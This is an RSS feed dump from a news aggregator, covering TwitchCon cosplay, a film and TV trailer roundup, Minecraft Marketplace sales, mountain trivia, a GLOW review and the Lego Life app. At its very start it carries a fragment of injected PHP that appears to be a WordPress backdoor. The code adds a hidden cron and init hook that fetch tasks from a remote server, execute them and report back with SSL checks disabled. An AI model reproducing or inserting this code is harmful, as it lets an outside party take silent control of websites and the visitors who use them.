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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); creations – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 28 Oct 2018 02:38:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png creations – Brief News https://briefnews.eu 32 32 TwitchCon’s craziest cosplay creations show how dedicated gamers can be https://briefnews.eu/twitchcons-craziest-cosplay-creations-show-how-dedicated-gamers-can-be/ https://briefnews.eu/twitchcons-craziest-cosplay-creations-show-how-dedicated-gamers-can-be/#respond Sun, 28 Oct 2018 02:38:00 +0000 http://briefnews.eu/twitchcons-craziest-cosplay-creations-show-how-dedicated-gamers-can-be/ TwitchCon cosplay contest finalists.

Casey Renee Cosplay won best needlework and best overall cosplay at TwitchCon 2018. She won $ 15,000 as Amethyst by the artist Sakizou.Read More

]]> https://briefnews.eu/twitchcons-craziest-cosplay-creations-show-how-dedicated-gamers-can-be/feed/ 0 Trailer Roundup: ‘My Dinner with Herve’, ‘Bigger’, ‘Black Monday’, ‘Never-Ending Man’, ‘Wayne’, ‘The Curious Creations of Christine McConnell’, ‘Molly’ https://briefnews.eu/trailer-roundup-my-dinner-with-herve-bigger-black-monday-never-ending-man-wayne-the-curious-cre/ https://briefnews.eu/trailer-roundup-my-dinner-with-herve-bigger-black-monday-never-ending-man-wayne-the-curious-cre/#respond Mon, 08 Oct 2018 11:51:35 +0000 http://briefnews.eu/trailer-roundup-my-dinner-with-herve-bigger-black-monday-never-ending-man-wayne-the-curious-cre/ my dinner with herve trailer

We often give entire posts to trailers for big movies. But every now and then, a few smaller trailers slip through the cracks. That’s where a trailer roundup comes in handy. Here is where we compile movie and TV trailers for titles under the radar, because every title deserves a little love. Below you’ll see trailers for the HBO movie My Dinner with Herve, the biopic Bigger, the Showtime series Black Monday, the Hayao Miyazak documentary Never-Ending Man, YouTube series Wayne, Netflix baking series The Curious Creations of Christine McConnell, and low-budget sci-fi flick Molly.

My Dinner with Herve

In My Dinner with Herve, Game of Thrones‘ Peter Dinklage plays actor Hervé Villechaize, most-famous for his work on Fantasy Island. The film is based on the true story of Villechaize’s last days, in which he conducted an interview with journalist Sacha Gervasi. Appropriately enough, Gervasi is the one directing this film, which he spent several years trying to get made. In My Dinner with Herve, “an unlikely friendship evolves over one wild night in LA between a struggling journalist (Jamie Dornan, playing a fictionalized version of Gervasi) and actor Hervé Villechaize, resulting in life-changing consequences for both.” This looks like an interesting, and mostly unknown, story, so it’s definitely worth checking out. Which you can on October 20, when My Dinner with Herve premieres on HBO.

Bigger

You know who Arnold Schwarzenegger is, right? But are you as familiar with Joe and Ben Weider? The brothers were the founders of the International Federation of BodyBuilding & Fitness, and helped discover Arnold. Bigger proposes to tell their story, and I have to say: the guy playing Schwarzenegger here really looks like him (although he appears to be mostly a background character). I’ll admit I’ve never heard of this movie, but this is a fairly effective trailer. Bigger is directed by George Gallo, and has a cast that includes Tyler Hoechlin, Aneurin Barnard, Julianne Hough, Victoria Justice, Colton Haynes, Max Martini, Tom Arnold, Steve Guttenberg, DJ Qualls, with Kevin Durand, and Robert Forster. The film opens October 12. Here’s the synopsis:

The inspirational tale of the grandfathers of fitness as we now know it, Joe and Ben Weider. Facing anti-Semitism and extreme poverty, the brothers beat all odds to build an empire and inspire future generations.

Black Monday

Don Cheadle has a new Showtime series about the stock market crash of 1987, and it looks good! This is more of a music video than a trailer – there’s no dialogue, or even story beats. But Black Monday appears to really be nailing the ’80s look, from the fashion, to the hair, to the graffiti-covered subway cars. Black Monday is described as “the story of how a group of outsiders took on the blue-blood, old-boys club of Wall Street and ended up crashing the world’s largest financial system, a Lamborghini limousine and the glass ceiling.” Andrew Rannells and Regina Hall star alongside Cheadle. Look for the show on Showtime in January.

Never-Ending Man

The documentary Never-Ending Man: Hayao Miyazaki follows legendary director and animator Hayao Miyazaki as he experiments with CGI for the first time. The Studio Ghibli retired at age 72, but “he couldn’t shake his burning desire to create. After an encounter with young CGI animators, Miyazaki embarked on a new endeavor, his first project ever to utilize CGI. But the artist, who had been adamant about hand-drawn animation, confronted many challenges. The film even faces the danger of being cancelled. Can an old master who thinks he’s past his prime shine once again? This program goes behind the scenes over two years as Miyazaki overcomes struggles to create his short film using CGI.” The narration in this trailer is a bit weird, but otherwise, this looks fascinating. Never-Ending Man: Hayao Miyazaki arrives in Winter 2018.

Wayne

Deadpool writers Rheese Rees and Paul Wernick are the minds behindWayne, a new YouTube Originals series. Described as a ” ritty and sometimes bloody tale”, Wayne follows “fifteen year-old Wayne sets out on a dirt bike with his new crush Del to take back the 1978 Pontiac Trans Am that was stolen from his father before he died.” I’ve yet to watch any YouTube shows, even though I hear good things about Cobra Kai. That series was a big hit for YouTube – will Wayne follow in its footsteps? Hard to tell, as this looks much more nihilistic and unpleasant. Wayne arrives in January 2019.

 

The Curious Creations of Christine McConnell

The Curious Creations of Christine McConnell doesn’t look like your average baking show. Instead, Christine McConnell spends her time whipping up creepy creations – with the help of…puppets? This looks like Pee-Wee’s Playhouse meets The Addams Family, and that might just be worth checking out. And hey – the show is arriving just in time for Halloween season on October 12.

Wickedly talented baker and artist, Christine McConnell welcomes you into her terrifyingly delicious home to create delectable confections and hauntingly disturbing decor with the help of her colorful collection of creatures.

Molly

Above you have not one, but two trailers for Molly, which looks a little like the indie sci-fi comedy Turbo Kid, in that it’s embracing its low-budget nature to tell a deliberately goofy tale of a post-apocalyptic wasteland. Molly (Julia Batelaan), “a super-powered young woman, roams the violent post-apocalyptic landscape, armed only with a bow and arrow, to confront the dangers around her. When a sadistic ringmaster who run an underground fight club hears of her supernatural abilities he sends his sociopathic marauders to capture her and make her a star attraction in his cage fights to the death.” Look for the film on October 2.

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]]> https://briefnews.eu/trailer-roundup-my-dinner-with-herve-bigger-black-monday-never-ending-man-wayne-the-curious-cre/feed/ 0 August 2018’s top 10 Minecraft Marketplace creations: Graduation day https://briefnews.eu/august-2018s-top-10-minecraft-marketplace-creations-graduation-day/ https://briefnews.eu/august-2018s-top-10-minecraft-marketplace-creations-graduation-day/#respond Sat, 29 Sep 2018 07:11:48 +0000 http://briefnews.eu/august-2018s-top-10-minecraft-marketplace-creations-graduation-day/ When you graduate from Mineville Highschool.

The Minecraft Marketplace kept some of its momentum from launching on Switch and its first Summer Sale. The unified version of Minecraft served up 373,361 downloads across Windows 10, mobile, Xbox, and Switch. While that’s nowhere near the 669,795 downloads from July, it’s still a big number for a month without a massive sale. August wa…Read More

]]> https://briefnews.eu/august-2018s-top-10-minecraft-marketplace-creations-graduation-day/feed/ 0 How a Master Domino Artist Builds 15,000-Piece Creations https://briefnews.eu/how-a-master-domino-artist-builds-15000-piece-creations/ https://briefnews.eu/how-a-master-domino-artist-builds-15000-piece-creations/#respond Thu, 06 Sep 2018 20:44:52 +0000 http://briefnews.eu/how-a-master-domino-artist-builds-15000-piece-creations/ Lily Hevesh sets ’em up to knock ’em down—in breathtakingly complicated arrangements.


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Minecraft players downloaded 239,062 pieces of content from the Minecraft Marketplace in January. The marketplace is available in the unified Bedrock version of Minecraft on Windows 10, Xbox One, Xbox 360, and mobile (Bedrock comes to Switch later this year), and it features products made by both The Minecraft Team and community developers. Players can earn this content through in-game currency, but they can also spend real money, and a portion of those revenues go to the people who made the content.

Every month on GamesBeat, I dive into the shop to see what is selling. You can take a look at past results right here. In January, we saw a lot of returning favorites make the list like Blockception’s Whiterock Castle and Noxcrew’s Summer Minigame Festival. The Minecraft audience is probably ready for something new, and we could see creators capitalize on that in February with releases like the new City Life world pack from PixelHeads. For now, however, fantasy worlds and licensed mash-up packs from The Minecraft Team are still dominating.

Here’s the top 10 for January:

Top Performing Paid Content
Content Rank Details Store description
“Whiterock Castle”
by Blockception
 1 World
4.7/5 user rating
A medieval fantasy castle with complex architecture		 “Explore the lands of Whiterock Castle and start your own adventure!”
 “Dinosaur Island”
by PixelHeads		 2 World
4.5/5 user rating
Deal with a variety of dinosaurs on a tropical island.		 “Overrun by prehistoric beasts after the scientists lost control of their genetic experiments, explore and discover the hidden mysteries of this intriguing island.”
“Wildlife: Savanna”
by PixelHeads		 3 World
4.7/5 user rating
Meet lions, elephants, and more along with your safari crew.		 “Go on safari in a rugged off-road vehicle to discover brand new landscapes and exotic animals. Find giraffes, zebras and even cheetahs (if you’re quick enough!), and befriend them for a whole new wildlife experience.”
 Norse Mythology Mash-Up
By Minecraft Team		 4 Mash-Up Pack
4.8/5 user rating
A collection of skins, textures, and worlds inspired by Norse myths.		 “Compose your own grand saga as you voyage through the 9 realms, from the treetops of Yggdrasil, down into the mines of Svartalfheim and the depths of Hel! The third episode in the mythology series, this pack has hand carved textures, a thunderous soundtrack and a horde of skins.”
“Summer Mini Games Festival”
by Noxcrew		 5  World
4.4/5 user rating
A wonderland of obstacle courses and activity centers.		 “Take a daytrip and test your skills at Mini-Golf, Blocksketball and the shooting range. Other summertime shenanigans include playing Splashdown in a luxury boat, Spleef in a volcano and monkeying around in the Aqua Jungle.”
“Sunnyside Academy”
by Imagiverse		 6 World
4.3/5 user rating
A functioning town with a school at its center.		 “Gear up for school with friends, or tackle solo assignments, build your own home and help maintain the town in this colorful neighborhood!”
“Adventure Time Mash-up”
by Minecraft		 7 Mash-up pack
4.8/5 user rating
Brings the Adventure Time cartoon into Minecraft with textures, skins, and the Land of Ooo world.		 With Jake the Dog and Finn the Human, and a bundle of their friends, it’s Adventure Time!… Mash-up! Featured in this pack: your favorite Adventure Time characters, the Land of Ooo, a bespoke texture set, BMO themed UI and original soundtrack.
 “The Crater”
by Blockception		 8 World
4.2/5 user rating
A settlement inside of a huge impact crater.		 “A vast crater is the setting of this survival spawn – the result of a devastating meteorite impact and now a remnant of destruction turned into an idyllic spawn.”
“PureBDcraft”
by BDcraft		 9 Texture pack
5/5 user rating
Revamps every texture to make things look more comic-book-like.		 Completely transform your Minecraft world into a comic! Blocks, Items, Mobs and UI are revamped with this bright, bold High Def pack in 32x, 64x and 128x resolutions, full of details and geeky references.
 “Dustville Survival Spawn”
by Noxcrew		  10  World
3.8/5 user rating
Start your new game in a Western frontier town.		 Begin your life in the Wild West in the desert town of Dustville. Wander in the shade of the canyons and the old mines. Settle a farm out in the mesa. Ride out and find your own fortune!

And here’s the best-performing content that people earned through their in-game efforts.

  1. Dinosaur Island by PixelHeads
  2. Norse Mythology Mash-Up by The Minecraft Team
  3. Wildlife: Savanna by PixelHeads
  4. Adventure Time Mash-Up by The Minecraft Team
  5. PureBDCraft by BDCraft
  6. Halloween Mash-Up by The Minecraft Team
  7. DestructoBot 5000 by Noxcrew
  8. Lapis Lagoon by Imagiverse
  9. Dragon Hero by PixelHeads
  10. Fallout Mashup by The Minecraft Team

I got in touch with BDCraft to talk about its texture pack, which is a regular on the top 10. You can catch that interview soon.

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1. The UN encouraged nations “to organise events at all levels” to highlight the importance of sustainable mountain development. Whether this meant at all levels of the mountains is unclear.

2. Until the 1920s, the Ordnance Survey classified anything higher than 1,000ft as a mountain. Now the system is more flexible but 2,000ft is generally taken as the qualifying height.

3. Last year, Calf Top in the Yorkshire Dales was found to qualify a mountain by a margin of 2mm.

4. The mountain whose peak is furthest from the Earth’s centre is Mt Chimborazo in the Andes…

5. …but this is due to a bump around the Earth’s equator. Everest rises higher above sea level.

6. Mount Disappointment in Australia was named by climbers who found the view poor at the top.

7. The earliest known reference to “making mountains out of molehills” was in 1570.

8. Around one fifth of the Earth’s land is covered by mountains.

9. The tallest known mountain in the solar system is Olympus Mons, on Mars at 72,000 feet.

10. “It isn’t the mountains ahead to climb that wear you out; it’s the pebble in your shoe.” (Muhammad Ali).

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]]> https://briefnews.eu/mountains-top-10-facts-about-these-spectacular-natural-creations/feed/ 0 ‘GLOW’ Digs Into the Nature of Hollywood’s Societal Reflections and Creations https://briefnews.eu/glow-digs-into-the-nature-of-hollywoods-societal-reflections-and-creations/ https://briefnews.eu/glow-digs-into-the-nature-of-hollywoods-societal-reflections-and-creations/#respond Sat, 24 Jun 2017 13:28:43 +0000 http://briefnews.eu/glow-digs-into-the-nature-of-hollywoods-societal-reflections-and-creations/ The beginning moments of Liz Flahive/Carly Mensch’s GLOW speak volumes about the series to come. Those first moments are a perfect start to a show, immediately saying everything about period, setting, and the lighthearted satirical lens the series will apply to both. Alison Brie’s character, Ruth, stands in an office with a view overlooking Los Angeles, sporting intimidating shoulder pads as she delivers an impassioned, brassy second wave feminist monologue about corporate empowerment. “This is about my company and my name and I will not be bullied into submission.”

She’s then interrupted, and the camera gives us a second perspective: she’s being filmed by a woman in a dress so ’80s it almost just looks Amish, and a casting director, who duly corrects her, says, “You were reading the man’s part.” Recovering from her mistake, and explaining that she thought Mel was short for Melanie (perhaps a sly nod to the film this scene most evokes, Working Girl), Ruth offers to read the woman’s part. Brie here proves how on point her comic timing is. Delivering the following with a perfectly deflated version of the thespian over-enthusiasm we just saw, she gives a sad little double-knock on the desk, and meekly intones, “Sorry to interrupt, your wife is on Line 2.” End of scene.

The scene expertly not only gives us a setting and an era, but hits at both the sexism — and the limits of reactions to it — at the time. Shoulder pads, those Thatcherite fashion statements that defined an era of women’s fashion, denoted how within mainstream feminism, masculinity was still seen as capital. (The discursive tune has changed since, but the social residue runs thick). They showed how the push was for women to literally sport angular addenda to their silhouettes in order to finally have an active place within, and to perpetuate, the all-encompassing reality series of capitalism. What’s smart about the meta-ness of GLOW is that it then dives into a story of another very specific way a select group of women would shape themselves to hyperbolize stereotypes and social expectations within literal, physical televised competitions. The Los Angeles backdrop in the window in that first scene stresses this relationship: this is the city where perceptions are taken from society, sculpted to reflect it, then taken back by society in perpetual imitation of itself.

Just after Ruth’s audition, the casting director has another suggestion for her: she sends her on a mysterious audition for less “conventional” women. And it turns out the audition is for the Gorgeous Ladies of Wrestling — a popular syndicated show that actually existed in the mid-’80s. The crowd at the audition is multiethnic, from economically diverse backgrounds, and of vastly variant sizes — essentially the antithesis of your usual Hollywood casting session. But it turns out each person will be asked to play up their perceived differences: the men in charge of this venture have decided on crafting characters that are mildly sexualized, racialized/gendered caricatures, theorizing that these will be the thing that most appeals to your average American viewer who wants to watch women beating each other up.

What’s fascinating is seeing these characters testing the limits to which they can either subvert, or find ownership through, these preordained, white male fantasy-driven types. Kia Stevens’ Tamee, a somewhat robust black woman, is asked to embody a “welfare queen,” and has some very legitimate questions about camp, parody, and the perpetuation of stereotypes. Arthie, an Indian American woman portrayed by Sunita Mani, is asked to play a terrorist named “Beirut;” Ellen Wong’s Jenny is given lines about pandas, and named “Fortune Cookie.” Because she’s widely disliked, Brie’s Ruth is at first given the role of the villain “Kuntar” — which Sam-the-director, played by a hilariously gross, yet buried-big-hearted  Mark Maron — emphasizes is not pronounced “Koontar,” but rather “Cuntar.” But then Sam decides he doesn’t know what to do with her — she so urgently wants to be someone that she becomes nondescript — and she’s characterless for a minute. It’s a fact that leads her to have to figure out what exactly she might want to project in the world.

Unfortunately, much of the first episode (and a good deal of the second) doesn’t live up to the promise of that opening corporate audition scene. After that, these two episodes can get rather too on-the-nose in their explorations of how television breaks down and then reifies type. This process is so embedded in the series’ themes that it doesn’t need to be explained in as much through dialogue as it is. For instance, when Ruth complains to a casting director about the dearth of roles for women, the dialogue sounds more didactically aligned with the show’s thesis than it needs to be. By contrast, the brilliance of that first scene was its tragicomic demonstration of this exact fact without a character needing to blatantly state it.

The first couple of episodes of this fictional series also suffer from their emulation of the structure of a reality TV show. We’re introduced to these characters, who’ll be spending a good deal of time competing. But before we get to know them, and before they get to know each other, and to appreciate and/or bemoan one another’s company, we get a litany of introductions, presented one-by-one via characters’ auditions for the show-within-a-show. The bits are neither funny nor interesting enough to sustain our interest; they simply drag, which is all the more palpable in a 30-minute-per-episode series.

At this point, before other characters start becoming more fully developed, the series feels like it may also suffer from a bit of early-OITNB syndrome, wherein a Type-A white character serves as a perceived audience surrogate into a more diverse world. But Brie’s performance of thespian self-importance gets funnier and funnier, and deeper and deeper. It turns out she’s no surrogate; she’s a really interesting character, and one whose theater-nerd’s precision of speech and performed enthusiasm betray the social tendencies of a person who’s always used “personality” as an elaborate mask without deeper self-examination. And those one-by-one auditioned introductions finally give way to compelling character dynamics. Britney Young’s character Carmen, for example, comes from a wrestling family, and her dealings with that legacy are one of the more interesting plot-points; Cherry Bang, played by Sydelle Noel, has a long working relationship with Sam, and their somewhat embittered familiarity and care is likewise great.

It’s in the third episode — which largely takes place at a party that’s an ’80s Los Angeles fantasy-nightmare, complete with a drug robot, a sexy butler, and a trust fund child producer alluding to ways the party can become an orgy — where the series figures out how to let loose. From here, it gets better and better. Here, with all of the characters present and finally interacting in a social setting, the former stiffness of a FUN, EMPOWERING exploration-of-an-exploration of Hollywood-made fantasy is effortlessly shed, and it becomes a show about the people who are about to engage in those processes, rather than, simply, the processes themselves. These characters will navigate ’80s notions of type, while, themselves, showing more and more depth, ensuring their distance from personas that can be summed up by half-sentence descriptions in a casting call.

Oh right, and then there’s some wrestling.

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]]> https://briefnews.eu/glow-digs-into-the-nature-of-hollywoods-societal-reflections-and-creations/feed/ 0 Lego Life is a social network for kids to share their Lego creations https://briefnews.eu/lego-life-is-a-social-network-for-kids-to-share-their-lego-creations/ https://briefnews.eu/lego-life-is-a-social-network-for-kids-to-share-their-lego-creations/#respond Tue, 31 Jan 2017 06:40:49 +0000 http://briefnews.eu/lego-life-is-a-social-network-for-kids-to-share-their-lego-creations/

Sharing the wacky and fun things you built out of Lego is half the fun of playing with the classic construction toy, and the internet has made that even better in a lot of ways, helping Lego fans from around the world share their builds and show off their stuff. But while older Lego fans have a plethora of options in the form of Reddit communities and Flickr groups, those same online forums can be a little hostile for younger builders who are still learning their way around the internet.

To remedy this issue, Lego is taking matters into its own hands by building Lego Life, a new social network specifically designed for kids under the age of 13 to safely interact and engage in all things Lego. In other words, it’s basically a Lego-themed Instagram with strict comment restrictions, and all the ads are for Lego stuff. Users can post pictures of their Lego creations, follow users, and comment on posts with special Lego emoji. The app will also offer building challenges as a way to try and jump-start creativity in kids using the app, and new Lego sets will encourage kids to share pictures of their latest builds on Lego Life in the instruction manual.


In addition to sharing their own content, Lego Life will also serve a centralized place for kids to consume Lego marketing content, with individual product lines like Star Wars getting centralized hubs to help promote things like videos and pictures of sets. Social media accounts for Lego characters (like Ninjago’s Master Wu or Lego Batman) will also be on the app to comment on creations.

On the online safety side, Lego Life accounts are prevented from sharing any personal information — avatars are customized Lego minifigures, account names are a series of randomized words, and all images and comments are heavily moderated through a combination of an automated filter and a team of actual Lego employees who filter content. Meanwhile, any uploaded images are restricted from having text comments, instead using a set of custom Lego emoji, stickers, and prewritten responses.

Lego also has ambitions for Lego Life beyond the social sharing aspect that makes up most of the app at launch. The company envisions the Lego Life as a central hub for all of Lego’s online services: eventually, other Lego games will eventually use your Lego Life account and avatar, while Lego Boost users will be able to share instructions and code for robotic creations through the app.

Lego Life is available now on Android and iOS in the US, UK, Canada, France, Germany, Denmark, Austria, and Switzerland.

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]]> https://briefnews.eu/lego-life-is-a-social-network-for-kids-to-share-their-lego-creations/feed/ 0 Lego launches a safe social network for kids to share their creations https://briefnews.eu/lego-launches-a-safe-social-network-for-kids-to-share-their-creations/ https://briefnews.eu/lego-launches-a-safe-social-network-for-kids-to-share-their-creations/#respond Tue, 31 Jan 2017 05:40:50 +0000 http://briefnews.eu/lego-launches-a-safe-social-network-for-kids-to-share-their-creations/

If your child is a budding Lego genius yearning to show off their creative constructions to the world, then Lego has just the place for them to do it. The company behind the iconic bricks has just launched a new social network made for kids under 13. Called Lego Life, it’s designed to let kids connect with a community of their peers. They can look at what other kids have created and also share what they’ve built. Lego Life is made for the tablet, and both the iOS and the Amazon Kindle Fire version of it is available today in the US, UK, France and Germany.

If you think the idea a little odd, Lego says there’s a need for it. Rob Lowe, a senior director for Lego Life, says he believes that kids desperately want to share their creations with a broader audience. “They don’t want to just share with family and friends, and there’s no social networks that they can join,” he says. They could submit their creations to the Lego Club magazine, but with over 6 million members, getting their photos noticed is a pretty difficult. With Lego Life, their creations can be shared with the world in just minutes. Lego Life has been in beta for a few months now in the UK and has enjoyed some under-the-radar popularity, according to Lowe.

When you first launch the app, you’ll be asked to create your Lego ID with your parent’s email address. The team over at Lego worked closely with UNICEF and the FTC to make sure the app is safe for kids. Therefore, kids can’t use their real names, so Lego invents names for them. A random name generator comes up with a list of three-word jumbles as the child’s display name, like “DarkMonkeyShrimp” or “ChairmanSmartDolphin,” and they can choose which one they prefer. They can then customize their own little Lego mini figurine as their avatars, which can be ported to other Lego apps if they desire.

Lowe showed me a beta version of the app, and it looks quite colorful. The main central feed is a mish-mash of user-created creations as well as those done by Lego itself. The Lego ones are often mini challenges like “build something with red bricks” or videos showing off animated Lego constructions. There’ll also be posts by Lego “Master Builders” showing off astounding builds. Some of the content at the top is curated by Lego, but as you scroll down, it gets more random. Once you start liking photos and following certain users, the feed will start to populate with creations it thinks you’ll like thanks to an intenal algorithm.

Aside from other kids, you can also follow certain characters from popular Lego sets, like Master Wu from Ninjago or Emma from Lego Friends, who share “building inspiration” posts. They’ll also appear in your comments occasionally to encourage you along. These accounts are actually controlled by Lego staff of course, but Lowe says they add a certain element of magic to the Lego Life experience. In addition to following certain users, you can also follow specific Lego hashtags or themes, like “Friends” or “Animals” or “Heroes.”

Uploading a photo is pretty straightforward. Simply capture it with your tablet’s camera, name the image, tag it with a hashtag or theme, and away it goes. Aside from just posting photos of their creations, kids can also adorn them with special Lego emojis and stickers. As they complete more of the aforementioned the Lego mini challenges or upload more creations, they’ll earn more stickers over time.

Speaking of photos, every image is moderated on some level. The first level of sorting relies on image recognition, to make sure there aren’t any faces or personally identifying information like names or numbers. If it falls into a grey area — where the tool isn’t quite sure what to make of it — then it’ll kick over to human moderation. Also, Lowe tells me that all photos needs to be Lego-related on some level. It can contain competitor bricks or Play-Doh, but photos of, say, your pet cat, isn’t going to fly.

Comments are carefully constrained as well. Open commenting is allowed on Lego-created content — though they’re moderated to some degree — while comments on user-created content is restricted to just emoji and stickers. “Kids might take negative comments to heart a little more,” explained Lowe.

You can share other things aside from photos too. If you sign into your Lego Life account in the Boost app and click “share,” you can share the code you’ve written for your robot so another child can download it. In the future, Lego hopes to make it possible to upload video, like stop-motion perhaps. The only issue there is that if you were to add voiceover, that’s considered personal information, and would need extra parental consent. “You’ll need to use a form of ID to prove who you are,” says Lowe. “The important thing is to keep the child as anonymous as possible.”

“There aren’t that many tools for kids to tell stories,” says Lowe about Lego Life. “Here, there’s an easy and fun way for them to do that.”

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